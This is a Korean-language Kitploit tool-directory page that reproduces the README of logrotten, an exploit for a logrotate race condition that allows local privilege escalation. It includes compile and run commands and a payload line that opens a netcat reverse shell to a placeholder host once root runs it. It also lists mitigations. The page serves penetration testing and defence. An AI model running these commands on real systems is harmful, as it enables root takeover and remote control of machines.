Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
logrotten — 시스템 디렉터리에 리버스 셸 페이로드와 같은 임의의 파일을 작성하여 권한 상승을 가능하게 하는 Logrotate 경쟁 조건 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/whotwagner/logrotten
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubwhotwagner/logrotten

logrotten

시스템 디렉터리에 리버스 셸 페이로드와 같은 임의의 파일을 작성하여 권한 상승을 가능하게 하는 Logrotate 경쟁 조건 익스플로잇입니다.

저장소 보기
211267개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[!WARNING]
이 저장소는 https://codeberg.org/whotwagner/logrotten(으)로 이동되었습니다. 최신 업데이트를 확인하려면 새 위치를 방문해 주세요.

logrotate 경쟁 조건을 이용한 권한 상승

Logrotten 로고

간단한 설명

  • logrotate는 로그 파일 이름을 변경한 후 경쟁 조건(race condition)에 취약합니다.
  • logrotate가 root로 실행되고, 파일을 생성하는 옵션(create, copy, compress 등)이 설정되어 있으며, 사용자가 로그 파일 경로를 제어할 수 있다면 경쟁 조건을 악용하여 임의의 디렉터리에 파일을 쓸 수 있습니다.
  • 공격자는 "/etc/bash_completition.d/"와 같은 디렉터리에 리버스 셸을 작성하여 권한을 상승시킬 수 있습니다.

권한 상승을 위한 전제 조건

  • logrotate는 root로 실행되어야 합니다.
  • 로그 경로(logpath)는 공격자가 제어할 수 있어야 합니다.
  • logrotate 구성에 파일을 생성하는 옵션이 설정되어 있어야 합니다.

테스트된 버전

  • Debian GNU/Linux 11 (bullseye)
  • Debian GNU/Linux 9.5 (stretch)
  • Amazon Linux 2 AMI (HVM)
  • Ubuntu 18.04.1
  • logrotate 3.8.6
  • logrotate 3.11.0
  • logrotate 3.15.0
  • logrotate 3.18.0

컴파일

  • gcc -o logrotten logrotten.c

페이로드 준비

root@kitploit:~
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

익스플로잇 실행

logrotate.cfg에 "create" 옵션이 설정된 경우:

root@kitploit:~
./logrotten -p ./payloadfile /tmp/log/pwnme.log

logrotate.cfg에 "compress" 옵션이 설정된 경우:

root@kitploit:~
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

알려진 문제

  • docker 컨테이너나 lvm2 볼륨 내부에서 경쟁 조건을 이기기 어려웠습니다. 이 버전의 logrotten은 안정성을 개선합니다.

완화 방법

  • 로그 경로(logpath)가 root 소유인지 확인하십시오.
  • logrotate.cfg에서 "su" 옵션을 사용하십시오.
  • selinux 또는 apparmor를 사용하십시오.

저자

  • Wolfgang Hotwagner

참고 자료

  • https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
  • https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
  • https://github.com/whotwagner/logrotten
  • https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
  • https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
도구 다운로드